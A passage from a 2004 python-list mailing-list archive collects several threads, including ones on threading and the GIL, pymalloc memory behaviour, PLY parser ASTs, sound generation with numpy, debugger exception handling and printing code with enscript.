Subject: python: ascii read
Message-ID: <A128D751272CD411BC9200508BC2194D053C796A@escpl.tcp.com.ar>

[Sebastian Krause]

#- I did not explictly mention that the ascii file should be 
#- read in as an 
#- array of numbers (either integer or float).
#- To use open() and read() is very fast, but does only read in 
#- the data as 
#- string and it also does not work with large files.

What you mean with "also does not work with large files"?

I worked with files up to my OS limit (2GB) without *any* issue.

In what enviroment are you? OS? Python version?

Also, if you want to deal with the format of the file, check the ``struct``
module.

.	Facundo


From aleaxit at yahoo.com  Wed Sep 29 09:50:44 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 29 Sep 2004 15:50:44 +0200
Subject: using threads with for-loops
References: <3e96ebd7.0409280711.42ef328b@posting.google.com>
	<va2dndnRbro_C8TcRVn-vw@powergate.ca> <udqo22-sf7.ln1@valpo.de>
	<KvCdnUvBCJ5wX8TcRVn-pg@powergate.ca> <s7uo22-9m7.ln1@valpo.de>
Message-ID: <1gkvn49.1qcth2p14ux0l8N%aleaxit@yahoo.com>

Mathias Waack <M.Waack at gmx.de> wrote:
   ...
> >> Have you ever seen machines with more than one CPU?
> > 
> > Why yes, I have!  And have *you* seen an implementation
> > of Python which will effectively use those multiple CPUs
> > in code like that above which runs in a single process?
> 
> Ok, I've lost: I haven't seen such implementation and don't know much
> about the thread-layer of Python. 

There are, as far as I know, three complete implementations of Python
(plus several add-on bits and pieces and unfinished ones): CPython,
Jython, and IronPython.  CPython uses its own dedicated virtual machine,
and its threads are subject to a global per-interpreter lock.

However, in lieu of dedicated virtual machines, Jython relies on the
JVM, and IronPython relies on Microsoft CLR's, and I believe both of
those VMs have no global interpreter lock.  I have no multi-CPU machine
at hand that can run Microsoft's CLR, but I do have a Powermac with two
CPUs, MacOSX 10.3.5, and a JVM (1.4.2 is the latest one, I believe).
So, if you can suggest a test to show whether Jython there can in fact
effectively use both CPU's, I'll be glad to run it and let everybody
know (I'm a bit rusty on recent Java VMs, so I don't know if I need any
special incantations to tell them to run on many CPUs, or what).  I'm
not sure IronPython runs fully on Mono, and neither am I sure the
current release of Mono on MacOSX is able to use multiple CPUs for
threading, but if somebody can find out and suggest a definitive test on
the matter, again I'll be glad to run it and report to the list.

Net of such niggling issues, one might say that _most_ (hey, 2 out of 3,
right?-) current complete implementations of Python can do "free
threading" with no global per-interpreter lock, and thus in theory
should be able to use multiple CPUs productively in multiple CPU-bound
threads of a sinble process -- assuming, say, Java or C# can do so, I
see no reason, in principle, why Python shouldn't be able to, when it
runs on the same underlying VM as Java or C# respectively.


> >> The code above is perfectly suited for parallelization.
> > 
> > Yes, it is.  Once you take into account implementation
> > issues (e.g. the GIL), would you still think so?
> 
> Depends. Which means: don't know. If I would start thinking about
> creating threads to gain a speedup, I would even think about
> switching to another programming language. 

...or another implementation of Python, if you're currently using
CPython and some limitation in it is a big problem for you...


Alex


From tim.peters at gmail.com  Mon Sep 20 01:35:31 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Mon, 20 Sep 2004 01:35:31 -0400
Subject: memory allocation
In-Reply-To: <pan.2004.09.19.18.28.33.473150@optusnet.com.au>
References: <pan.2004.09.19.11.21.21.129058@optusnet.com.au>
	<pan.2004.09.19.18.28.33.473150@optusnet.com.au>
Message-ID: <1f7befae04091922351debfb3d@mail.gmail.com>

[benevilent at optusnet.com.au]
> My latest understanding is that the default memory allocation will result
> in arenas being created to fulfill the maximum memory requirements of the
> program.

I'm not sure what that means, but probably yes.

> If memory is freed, the program still occupies the amount of
> memory occupied by these arenas.

It's true that pymalloc never returns an arena to the system free(). 
It's also true, e.g., that space allocated for Python integers never
leaves a special internal free list for integers until Python shuts
down, and pymalloc plays no part in that.

> If allocations can be fulfilled without creating new arenas, then no additional
> memory will be required.

Not all parts of Python use pymalloc.  If you're talking only about
the parts that do use pymalloc, then yes.

> Hence as time goes by the memory required by the program increases
> (assuming increasing memory requirements of the application), and it will not
> dynamically expand and contract with the memory allocations/deallocations
> as you would expect with an ordinary program. Is my understanding of this
> correct?

Possibly.  I personally don't expect simplistic behavior from programs
that use only malloc and free, assuming that's what "an ordinary
program" intends to mean here.  The relationship between the platform
malloc/free and "memory required by the program" is usually very
complex.  Throwing pymalloc into the mix too makes it even more
complex.  "memory required by the program" is ambiguous on its own on
machines with virtual memory, due to distinguishing between RAM in use
and paged-out virtual address space that's never referenced again.

[... later ...]

> Is it possible to change the memory allocation scheme of Python so that I
> can confirm this?

You can build Python without pymalloc.  I've never done that myself,
so am not sure how to do it.  Could be that passing --with-pymalloc=no
would suffice.


From rogerb at rogerbinns.com  Tue Sep 21 00:12:08 2004
From: rogerb at rogerbinns.com (Roger Binns)
Date: Mon, 20 Sep 2004 21:12:08 -0700
Subject: Python Webstart ?
References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au>
	<mailman.3460.1095435595.5135.python-list@python.org>
	<c718a6cf.0409191852.15121830@posting.google.com>
	<f05222-eec.ln1@home.rogerbinns.com>
	<NpD3d.613$g42.397@newsread3.news.pas.earthlink.net>
Message-ID: <nkm422-mfu.ln1@home.rogerbinns.com>

Andrew Dalke wrote:
> You probably use more programs than those on your desktop.
> You can think of Google, Yahoo, eBay, etc. as web-based
> applications for their specific tasks.  These differ from
> your OS in that they have no local installation.  You go
> to the right URL and start using it.
>
> They also differ in that they have limited access to local
> resources.  I believe WebStart's goal is to expand on the
> latter while acting like the former.

Very good points.  I have no issue with the *goals* of webstart,
just the current implementation.  And I would have the same
issue with something targeted at Python.  It is important
that a parallel packaging system is not introduced.

Effectively the packaging systems are zero install (ie a
bookmark/link you can use in any browser) or the system
native one.  A hybrid of the two gives you the worst of
both worlds.

The test I use is:  how do I remove the program?

Roger 




From yk.suse at bullier.org  Fri Sep  3 16:59:32 2004
From: yk.suse at bullier.org (Yann.K)
Date: Fri, 03 Sep 2004 22:59:32 +0200
Subject: open default MUA with a hyper link
Message-ID: <chalvm$1944$1@biggoron.nerim.net>

Hello.

I would like to do a hypertext link on a GUI, which launch a per default
mail user agent (with the "to" header documented).
To launch an url in a web browser i use webbrowser.open(url).
Do exist an equivalent command to run the per default MUA (like ie
webbrowser.mail_open(toto at example.com)?

Thank's for your help.

-- 
Yann.K


From carribeiro at gmail.com  Fri Sep  3 11:05:38 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 3 Sep 2004 12:05:38 -0300
Subject: What about an EXPLICIT naming scheme for built-ins?
In-Reply-To: <59e9fd3a04090307154bfd6fd8@mail.gmail.com>
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090306333b53ef56@mail.gmail.com>
	<59e9fd3a04090307154bfd6fd8@mail.gmail.com>
Message-ID: <864d3709040903080525e8fc32@mail.gmail.com>

On Sat, 4 Sep 2004 00:15:41 +1000, Andrew Durdin <adurdin at gmail.com> wrote:
> However, I think it'd be hard to make an iterator implementation of
> sorted() without either copying the sequence or resorting to O(n^2)
> performance, which is not good.
> This may just be an example where inconsistency is a practical necessity.

You may be right. At the least, this reasoning could possibly be
included in the FAQ, as it will probably turn out to be a frequent
question in the near future. But having sorted() to return a iterator
still sounds like a logical thing to do, so I'm not sure about it.

So we now have a different question -- does it make sense to have
sort() to return a iterator? What would be the advantages, and what
does it take to implement it?

Today, sorted() returns a brand new sorted sequence. So it already
takes the full memory and time penalty while doing so. However, **if
sorted() was implemented as a generator**, it would have some
advantage in special cases:

-- sorting long sequences to use only a few of the first elements. For
example, if you need to sort a long list to get the top 10 elements. A
generator would yield only those elements, saving a lot of time that
would go into sorting everything else.

-- overall responsiveness in applications where sort is frequently
called. Instead of waiting for the full sort at each sorted() call,
the running time of the sorting method would be divided between the
calls to the generator. Interactive and multithreaded applications can
benefit of this approach (I'm not sure if sorted() grabs the GIL or
not, but if it does, then it's definitely something to look at). (but
then, again, it may be a poor design choice to use sorted() in these
scenarios -- a heap or some other similar structure would be better
suited. But I digress here).

Modifying the sorting algorithm to work as a generator is not as hard
as it seems. For example, Quicksort can be easily adapted. It's just a
matter to yield the results as soon as the "left" partition is sorted.
Actually, a similar technique can be used to yield the reversed sort
(which is not the same as reversed(), incidentally). Other sorting
algorithms can also be adapted.


p.s. I opted to send a copy of this answer to the list, I think it's
good for the discussion. I hope you don't mind.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From andrea.valle at unito.it  Sat Sep 25 03:01:42 2004
From: andrea.valle at unito.it (andrea valle)
Date: Sat, 25 Sep 2004 09:01:42 +0200
Subject: Drawing sound
In-Reply-To: <4154B192.500B6D97@juno.com>
References: <ttNMvZB0zGVBFwRQ@[127.0.0.1]> <4154B192.500B6D97@juno.com>
Message-ID: <C19CB8D4-0EC0-11D9-A0CE-0003939C968C@unito.it>

It can be done in a lot of languages. Tipically musicDSP is in C or C++.
Anycase, as I was posting, I'm working an audio manipulation in non 
real time, which seems to be your interest. It's absolutely easy.
A signal is a 1 D array (or just a list). Make the DSP math you want on 
it, then write it to wave object. Works perfectly.
It's better to use numpy (or numarray), so you have a faster way to 
access arrays and you gain some useful methods (convolution).

In case of drawing sound , you have to build a GUI with just a frame 
and the pass values to the array.  It can mean:

a) making a sonogram and resynthesizing.Vertical axis control a bank of 
oscillators, horizontal one time. Each point is a couple (time, 
frequency). time is the index for the array. Here  your problem is not 
Python, it's implementation of the synthesis method. You could also use 
a bank of filters.
b) drawing a curve in a amplitude/time canvas. This seems really not 
complex. Each point is a couple (time, amplitude). Time is the index 
and amplitude the value to be set.

Then you can also:
a) use python to generate scores for Csound, i.e. control instructions 
foa dedicated synthesi language (the most powerful for NRT)
b) try the csound wrapper for python in csound 5 which is experimental. 
 From python you invoke something like csound.perfom(). That's great.
c) use python for real time. There's hypersonic package for python but 
I haven't tried yet.

Following an excerpt of my two roughly made classes SoundObject and 
SoundFile using numpy.
They work in this way:

a = SoundObject(1)	 # a SoundObject of 1sec
a.sine(440)		# fill with a sine of 440Hz
f = SoundFile(a.signal)	# a SoundFile passed with the signal of a
f.write()			# write it to file



class SoundObject:
	
	#________________________	
	# initialization
	
	def __init__(self, dur):
		self.dur = dur
		self.sr = 44100
		self.len = self.sr*self.dur
		self.signal = self.create()
		
	
	def create(self):
		self.len = int(44100*self.dur)
		signal =   zeros(self.len, Float)
		return signal
	
	def reset(self):
		self.signal =   zeros(self.len, Float)
	
	#________________________
	# generators	
			
	def whiteNoise (self):
		"-1,1 random"
		self.signal = uniform(-1, 1, (len(self.signal),))
	
	def sine (self, freq):
		"sinusoidal wave with frequency freq"
		for index in range(len(self.signal)):
			sample = sin(2*pi*freq*(float(index)/44100))
			self.signal[index] = sample
	
	def impulse(self):
		"a single one-sample pulse, rest 0"
		self.reset()
		self.signal[0] = 1
	
			
	def square (self, freq):
		"square wave with frequency freq"
		halfPeriod = int((1.0/freq * self.sr)/2)
		firstHalf = ones(halfPeriod, Float)
		secondHalf = ones(halfPeriod, Float)*-1
		wave = concatenate((firstHalf, secondHalf))
		signal = array([], Float)
		while len(signal) <= self.len:
			 signal = concatenate((signal, wave))
		self.signal = signal
			
		
class SoundFile:
	def  __init__(self, signal):
		self.file = wave.open('/test.wav', 'w')
		self.signal = signal
		self.sr = 44100
	
	def write(self):
		print "\nwriting to wavefile"
		self.file.setparams((1, 2, self.sr, 6, 'NONE', 'noncompressed'))
		self.file.writeframes(self.signal.tolist())
		print "done\n"
	
	
  Hope it helps.

ciao

-a-

Andrea Valle
Laboratorio multimediale "G. Quazza"
Facolt? di Scienze della Formazione
Universit? degli Studi di Torino
andrea.valle at unito.it

> Chris wrote:
>>
>> I want a program that can "draw" sound.
>>
>> Imagine drawing a graph of frequency against time -
>> and then being able to play it over the computer speakers.
>>
>> Can this be done in Python?
>>
>> As a start, consider this simple QBASIC program that
>> generates random frequencies:
>>
>> 10 frequency = 40 + 400 * RND
>> 20 SOUND frequency, 7
>> 30 GOTO 10
>>
>> That's fine - except that it plays over the PC speaker -
>> the one that's just there for the happy beep - and not
>> through the sound card and proper speakers.
>>
>> Can that be done in Python?
>> Or in any other language?
>> --
>> Chris
> -- 
> http://mail.python.org/mailman/listinfo/python-list
>

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: text/enriched
Size: 4469 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040925/e1a979d9/attachment.bin>

From zathras at thwackety.com  Sun Sep 19 21:34:38 2004
From: zathras at thwackety.com (Michael Sparks)
Date: Mon, 20 Sep 2004 02:34:38 +0100
Subject: Using PLY
References: <414a6ca1$1@news.unimelb.edu.au>
	<cie5or$ggr$0$216.39.172.122@theriver.com>
	<4b39d922.0409171206.1ed5003d@posting.google.com>
	<414e11ec$1@news.unimelb.edu.au>
Message-ID: <414e3a89$0$91282$ed2619ec@ptn-nntp-reader03.plus.net>

Maurice LING wrote:
...
> Another thing that I am quite puzzled by is the yacc part of PLY. Most
> of the examples are showing calculators and the yacc part does the
> calculations such as,
> 
>     def p_expression_group(self, p):
>          'expression : LPAREN expression RPAREN'
>          p[0] = p[2]
> 
> this is a bad example, I know. 

Simple examples of lex/yacc type things tend to have this though.

> But how do I get it to output some 
> intermediate representations, like AST, or an intermediate code
> (byte-code type).
> 
> Is
> 
>     def p_expression_group(self, p):
>          'expression : LPAREN expression RPAREN'
>          p[0] = p[2]
>          print "byte_x" + p[0] 
> 
> or something like this legal?

It's legal, but probably not what you want.

Normally you have Lex --(token) --> Parse --(AST)--> Something Interesting.

If Something Interesting is simple, you can do that instead at the AST stage
which is what the examples do.

If you wanted to modify the example/calc/calc.py in the PLY distribution to
return an AST to play with you would change it's rules to store the parsed
structure rather than do the work. Taking the route of minimal change to
try and make it obvious what I've changed:

def p_statement_assign(p):
    'statement : NAME EQUALS expression'
    p[0] = [ "assignment", p[1], p[3] ] # names[p[1]] = p[3]

def p_statement_expr(p):
    'statement : expression'
    p[0] = [ expr_statement", p[1] ] # print p[1]

def p_expression_binop(p):
    '''expression : expression PLUS expression
                  | expression MINUS expression
                  | expression TIMES expression
                  | expression DIVIDE expression'''
    p[0] = ["binop_expr", p[2], p[1], p[3] ] # long if/elif evaluation

def p_expression_uminus(p):
    'expression : MINUS expression %prec UMINUS'
    p[0] = ["uminus_expr", p[2]]   #   p[0] = -p[2]

def p_expression_group(p):
    'expression : LPAREN expression RPAREN'
    p[0] = ["expression", p[2] ]   # p[0] = p[2]

def p_expression_number(p):
    'expression : NUMBER'
    p[0] = ["number", p[1]]        # p[0] = p[1]

def p_expression_name(p):
    'expression : NAME'
    p[0] = ["name", p[1] ]         # p[0] = names[p[1]], with error handling

A sample AST this could generate would be:

[ "assignment", 
   ["name", "BOB" ], 
   ["expression", 
      ["binop_expr", 
         "*", 
         ["number", 7], 
         ["number", 9] 
      ]
   ] 
]

In example/calc/calc.py this value would be returned here:

while 1:
    try:
        s = raw_input('calc > ')
    except EOFError:
        break
    AST = yacc.parse(s) #### <- ------ HERE!

(NB, slight change to the line ####)

This is a very boring, not very interesting, not that great AST,but should
hopefully get you started. You should be able to see that by traversing
this tree you could get the same result as the original code, or could spit
out code that performs this functionality. Often its nice to have some
simplification of the tree as well since this sort of thing can be rather
unwieldy for realistic languages.

It's also worth noting that the calc.py example is also very toy in that it
matches single lines using the parser rather than collections of lines. (ie
the parser has no conception of a piece of code containing more than one
statement)

> I'm trying to parse what looks like a 4GL source code.

FWIW, start small - start with matching the simplest expressions you can and
work forward from there (unless you're lucky enough to have a LALR(1) or
SLR(1) grammar for it suitable for PLY already). Test first style coding
for grammars feels intuitively wrong, but seems to work really well in
practice - just make sure that after making every test work check in the
result to CVS/your favourite version control system :-)

One other tip you might find useful - rather than sending the lexer whole
files as PLY seems to expect, do line handling yourself and send it lines
instead - it works much more like Flex/lex that way.

Regards,


Michael.



From lynn at garlic.com  Thu Sep  2 12:13:28 2004
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Thu, 02 Sep 2004 10:13:28 -0600
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<1094141001.125507@teapot.planet.gong>
Message-ID: <u4qmgwswn.fsf@mail.comcast.net>

Rupert Pigott <roo at try-removing-this.darkboong.demon.co.uk> writes:
> Remember NeXTStep ?
>
>> As for following standards thats just plain sense.
>> Note the Mac OS 10 / Darwin uses a unix kernel because of all the
>> problems  with
>> interoperabillity OS 9 had with talking to Windows and Unix boxes.
>
> Which I believe is derived from a Mach uKernel... The "UNIX" bits
> are the FreeBSD userland utilities that surround it.

a cmu effort along with various andrew activities and camelot ... minor
recent ref:
http://www.garlic.com/~lynn/2004h.html#42 Interesting read about upcoming K9 processors

-- 
Anne & Lynn Wheeler | http://www.garlic.com/~lynn/


From db3l at fitlinxx.com  Thu Sep 30 19:13:52 2004
From: db3l at fitlinxx.com (David Bolen)
Date: 30 Sep 2004 19:13:52 -0400
Subject: "False exceptions?" (was Re: theme of the week: tools
References: <mailman.3802.1095960335.5135.python-list@python.org>
	<QcudnRef363plc7cRVn-vg@powergate.ca>
	<41542230.3070808@bellsouth.net>
	<mailman.3864.1096040439.5135.python-list@python.org>
	<mfydnUd5Idex1srcRVn-pQ@rogers.com>
	<tpudnXILROwO88rcRVn-sw@powergate.ca>
	<mailman.3947.1096250696.5135.python-list@python.org>
	<kdWdndU_KZvAFcrcRVn-gQ@rogers.com> <4157FD67.80404@holdenweb.com>
	<efidneft_NO8p8XcRVn-tQ@rogers.com>
	<mailman.3996.1096354841.5135.python-list@python.org>
	<Ku-dnW4Ddq1O_cTcRVn-tw@rogers.com> <uekkmibrv.fsf@fitlinxx.com>
	<WZydndBk-MS_OMTcRVn-ug@rogers.com> <u655yi527.fsf@fitlinxx.com>
	<d_mdnXKL0cmpVMTcRVn-jA@rogers.com>
Message-ID: <u7jqb4afj.fsf@fitlinxx.com>

"Dan Perl" <danperl at rogers.com> writes:

> (...)  In my experience with sporadic problems like the ones you are 
> describing, debuggers are usually not much help, except after the fact, for 
> instance debugging a core of a C/C++ program.  If the problem is caused by a 
> race condition, a debugger can be useless because it affects the scheduling 
> of threads.  How does the loaded stub work in cases like that?  Does it 
> affect threads in any way?

Yes, once the debugger is actually activated (you start up the IDE and
it attaches) it's like a normal Python debugger, so it uses the trace
hook and will have some impact on runtime.  You can finesse this a little by
controlling where you import the stub and/or when you connect to the process.

Of course, in my experience just about anything you do to try to work
with a subtle threading or race condition bug is just as likely to
affect the problem (including adding a new line of code), so you can
still hope that the problem will simply exhibit itself as well - even
if slightly differently - with the debugger attached.  Obviously, no
guarantees.

(the "sre" exception)
> It was the only one.  My point was that even just this particular exception 
> should happen very often.  So even volume, not only significance, is 
> relative.  I, for one, was not comfortable ignoring an exception, especially 
> without a very clear and detailed explanation on why the false positive 
> happened in the first place and what happens with the exception if I ignore 
> it.

I don't really disagree - it would probably be good if this was a
well-defined one that Wing came configured to ignore.

> > (...)
> >> I would need to first see an example of generating an exception without
> >> knowing it and that exception still being relevant although it is being
> >> handled.
> >
> > I'd split that into two parts - (a) generating the exception without
> > knowing it, and (b) it being relevant even if handled.
> >
> > For (a), I can't seem to come up with a good concise example, so maybe
> > I'll just agree that you may know about, but not be able to act on it
(...)
> > Note however, that knowing about it in many cases may only be through
> > a stderr traceback, so to know it other than manually inspecting it at
> > runtime would require trapping stderr in general and logging that
> > somewhere, and then having something to recognize tracebacks in that
> > log.
> >
> > (b) is certainly possible though, although at the risk of overuse I'll
> > fall back to wxPython again.  In wxPython any exception that occurs in
> > an event handler will be handled by the wxPython extension, and is
> > thus invisible to top level code.
(...)
> 
> You're making a very good case, assuming that the exception is at the root 
> of the problem.  However, it's hard to say how many such problems are caused 
> by an exception.  Even if there is an exception, the root problem may be way 
> before that and you still have to go and do some normal debugging.  So many 
> times I've had memory corruption crashing an application in C++ and I had to 
> look back at a method that was called WAY BEFORE the crash because that was 
> usually corrupting memory at exit.

Yep, although if you're lucky the form of the corruption at the point
of error can help point the way.  Also, since pure memory corruption
tends to be a rare occurrence in Python (buggy extension modules
notwithstanding), even if an exception is due to malformed code
earlier on, the actual memory state of the process is generally in
good enough shape to go poking around reliably in all your data
structures once the exception triggers.

> So, in your example of a button, my general debugging approach would still 
> be to put a breakpoint in the event handler of the button, because the root 
> of the problem can be so many different things.

Sure, but if the button works sometimes and not others, it's just more
of a pain to hit the breakpoint over and over again until it happens
to get to a state where the problem would occur.

> In your experience with Python, what percentage of problems manifested 
> themselves with exceptions (especially right at the root of the problem) as 
> opposed to simply flawed logic that gets through without any exceptions?

I'd have to separate by older and newer code again.  The newer code
following a TDD pattern definitely has different characteristics than
older legacy code written using more traditional methods.  The newer
stuff is much less likely to generate either kind of problem except
during active development at which point the current test generally
points right to the area of potential problem.

But I'd have to say that at least for me, for more traditional
methods, I do think there's a higher percentage of problems leading to
exceptions than to more subtle failures.  I'm not entirely sure why
except that I expect bugs that in other environments might lead to
subtle mistakes (or harder to track problems like eventual crashes
from prior memory corruption) quickly end up in some state where you
are trying to interpret any object incorrectly in your code and yield
an exception.  For example, a wrong pathway not constructing an
appropriate object type or contents which is then passed into another
function anticipating it.  In effect, the "duck typing" approach that
is commonly used can yield exceptions in pretty quick order if you
start messing up the objects involved in your system.

Note however that I'm not saying all those exceptions require a
debugger or anything more than logging them and/or observing them
during development.

> I think we are actually very much agreeing.  The main difference between us 
> is how much weight we put in debugging exceptions versus debugging all kinds 
> of problems and how much we are willing to put up with in exchange for that 
> precious advantage in a few cases.

Yes (to the agreement).  And don't let me over-emphasize things, as
I'm not necessarily suggesting that the "wait for the exception" is
extremely important.  It is, however, useful enough to me that I
consider supporting it to be a "pro" feature of any Python debugger,
and at least for me, yes worth some consequences such as the
occasional false positive.

> You are saying a solid debugger "can be worth its weight in gold".  How much 
> does Wing IDE weigh?   ;-)

Heh - good question.  'Course, with gold where it is at the moment, it
probably wouldn't have to weigh too much anyway :-)

-- David


From anthonybaxter at gmail.com  Fri Sep  3 05:09:10 2004
From: anthonybaxter at gmail.com (Anthony Baxter)
Date: Fri, 3 Sep 2004 19:09:10 +1000
Subject: Are decorators really that different from metaclasses...
In-Reply-To: <ch8h4m$ohs$1@sea.gmane.org>
References: <loom.20040825T004528-605@post.gmane.org>	<mailman.2346.1093432824.5135.python-list@python.org>	<b8ad139e.0408251248.1bc0d7bf@posting.google.com>	<cgj8f5$t1b$1@sea.gmane.org>	<e69d3ed2040826003171d312fc@mail.gmail.com>	<412D9F1E.6000809@yahoo.it>	<mailman.2413.1093518357.5135.python-list@python.org>	<nfnri09co3gbg56uoa61h769bh3n5oulqr@4ax.com>	<mailman.2423.1093527121.5135.python-list@python.org>	<ietri01h4lg9juja87vl02v8pa7hbh6u3o@4ax.com>	<e69d3ed204082607536abfa65c@mail.gmail.com>	<cgkuf9$ehg$1@sea.gmane.org>	<e69d3ed204082608183634bab@mail.gmail.com>	<cglg26$ehg$3@sea.gmane.org>	<e69d3ed2040827083448c31d45@mail.gmail.com>	<mailman.2548.1093646396.5135.python-list@python.org>	<cgosmb$ki0$0$216.39.172.122@theriver.com>	<mailman.2562.1093697125.5135.python-list@python.org>	<e69d3ed2040	<HBF.20040901iia9@bombur.uio.no>	<mailman.2743.1094082018.5135.python-list@python.org>	<
	<10jeuh7o69surc0@corp.supernews.com> <ch8h4m$ohs$1@sea.gmane.org>
Message-ID: <e69d3ed20409030209de9043@mail.gmail.com>

On Thu, 02 Sep 2004 21:24:42 -0400, Paul Morrow <pm_mon at yahoo.com> wrote:
> So I believe that --- whether you're a pythonista or not --- assignments
> to magic variables really don't 'look' like normal statements.  They
> look like they do something special (because they do).

You continue to assert this, again and again. Many people have posted
replies (including me) saying that actually, they _do_ look like
normal statements.

Repeatedly asserting otherwise won't change this.


From roy at panix.com  Wed Sep 15 14:03:57 2004
From: roy at panix.com (Roy Smith)
Date: Wed, 15 Sep 2004 14:03:57 -0400
Subject: See exactly what a function has returned
References: <ci9tfk$71t$1@solaris.cc.vt.edu>
Message-ID: <roy-40BD1F.14035715092004@reader1.panix.com>

In article <ci9tfk$71t$1 at solaris.cc.vt.edu>,
 Brad Tilley <bradtilley at usa.net> wrote:

> Is there an easier way to do this:
> 
> def print_whats_returned(function):
>      print function
>      print type(function)

In the general case, this is not possible.  A function can return 
different things at different times.  Consider the following function:

def getSomething ():
   if random.random () < 0.5:
      return 42
   else:
      return "fourty-two"

so what type would you say this returns?


From carribeiro at gmail.com  Mon Sep 13 09:29:30 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Mon, 13 Sep 2004 10:29:30 -0300
Subject: Ideas on self updating software?
In-Reply-To: <d52c72d204091119383efe300b@mail.gmail.com>
References: <d52c72d204091119383efe300b@mail.gmail.com>
Message-ID: <864d3709040913062975445460@mail.gmail.com>

On Sat, 11 Sep 2004 21:38:08 -0500, Jaime Wyant <programmer.py at gmail.com> wrote:
> Can anyone give me some pointers on writing "self-updating" python
> programs?  I have an application that is almost ready for beta
> testing.  I want to be able to fix any bugs and push the updates out.

Plase don't. Or -- if you do -- warn your users. Even if this is done
inside a company under your full control, it's a good idea. If, at
last, you decide that you must do it automatically, do it only at some
specific times -- for example, at bootup or when the program is first
loaded everyday. But don't 'push' it automatically. Be really careful,
because many people don't like the idea of automatic software updates,
independent of how good the intentions are.


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From maxwell at ldc.upenn.edu  Fri Sep  3 08:17:46 2004
From: maxwell at ldc.upenn.edu (Mike Maxwell)
Date: Fri, 03 Sep 2004 08:17:46 -0400
Subject: need an idea, recognize sequence, fsm or genetic ?
In-Reply-To: <ch73me$8l6n$1@netnews.upenn.edu>
References: <63b5e209.0409012321.5850291f@posting.google.com>
	<ch73me$8l6n$1@netnews.upenn.edu>
Message-ID: <ch9n9r$8bi3$1@netnews.upenn.edu>

Mike Maxwell wrote:
> Joh wrote:
> 
>> here is my trouble, i would to like to write a program which could
>> help me to detect sequence of consecutive words in list in a very
>> efficient way. 
> 
> These repeats are called "tandem arrays."  Algorithms for quickly 
> finding them (and many other useful patterns) are given in

Apologies, I just re-read your original post, and (if I understand what 
you are looking for), it is not tandem arrays.  Nevertheless, Gusfield's 
book is on a whole host of text search problems, and may still give you 
leads (or even answers).

	Mike Maxwell


From p at ulmcnett.com  Mon Sep 27 19:20:02 2004
From: p at ulmcnett.com (Paul McNett)
Date: Mon, 27 Sep 2004 16:20:02 -0700
Subject: batch pretty (color) print of python code?
In-Reply-To: <cja3q9$h74$1@peabody.colorado.edu>
References: <cj9rt8$l3k$1@nrc-news.nrc.ca> <cja3q9$h74$1@peabody.colorado.edu>
Message-ID: <200409271620.02318.p@ulmcnett.com>

Fernando Perez writes:

> You said linux was OK.  A simple enscript alias works
> wonders:
>
> planck[python]> which codeprint
> codeprint:       ein Alias fur enscript  -G2rjE --color  !*
> planck[python]> which codeps
> codeps:          ein Alias fur enscript  -G2rjE --color -o
> !*.ps !*; gv !*.ps
>
> That's what I use for all kinds of source, it does a pretty
> decent job with python (and knows about C, C++, perl,...)

That's great! Thanks for turning me on to that. Here is the 
alias I'm now using:

alias codeps='enscript -G2rjE --color -o -'

This takes input on stdin and sends the output to stdout, so the 
OP can type:

codeps *.py > output.ps

and that is pretty close to what the OP wanted (minus 
recursion).

-- 
Paul McNett
Independent Software Consultant
http://www.paulmcnett.com


From tolot at jupiter.solar-empire.de  Fri Sep 24 05:31:07 2004
From: tolot at jupiter.solar-empire.de (Marc Christiansen)
Date: Fri, 24 Sep 2004 11:31:07 +0200
Subject: inelegance in calling dynamically created class methods
	from	scripting level
References: <41520909$1_5@news3.es.net>
	<mailman.3823.1095987966.5135.python-list@python.org>
Message-ID: <r36d22-ug4.ln1@halut.solar-empire.de>

Andrew Durdin <adurdin at gmail.com> wrote:
> On Wed, 22 Sep 2004 17:21:16 -0600, Danny Shevitz <shevitz at lanl.gov> wrote:
>> # ds.myApply(???something callable???) Can't get to work!
> 
> You need to be able to reference the callable via some name in the
> current scope. For 'myPrint' that's easy:
>    ds.myApply(Item.myPrint)
> 
> For 'hoopty', you can't do that, because in the current scope you
> don't have a name bound to any object with the 'hoopty' attribute. But
> since you know that the hoopty attribute was bound to the reset
> function, you can get the desired effect like this:
>    ds.myApply(reset)

Well, one could use
  ds.myApply(ds.childClass.hoopty)

but this looks strange to me. It asks me: "Do I really want this
approach?".

Marc


From frithiof.jensen at diespammerdie.jensen.tdcadsl.dk  Mon Sep 20 03:17:33 2004
From: frithiof.jensen at diespammerdie.jensen.tdcadsl.dk (Frithiof Andreas Jensen)
Date: 20 Sep 2004 07:17:33 GMT
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
Message-ID: <414e840d$0$192$edfadb0f@dread11.news.tele.dk>

julio <julioperezsosa at yahoo.com> wrote in
news:mailman.3520.1095631846.5135.python-list at python.org: 

>  I think is a fact, reality , there is just no way python is going to
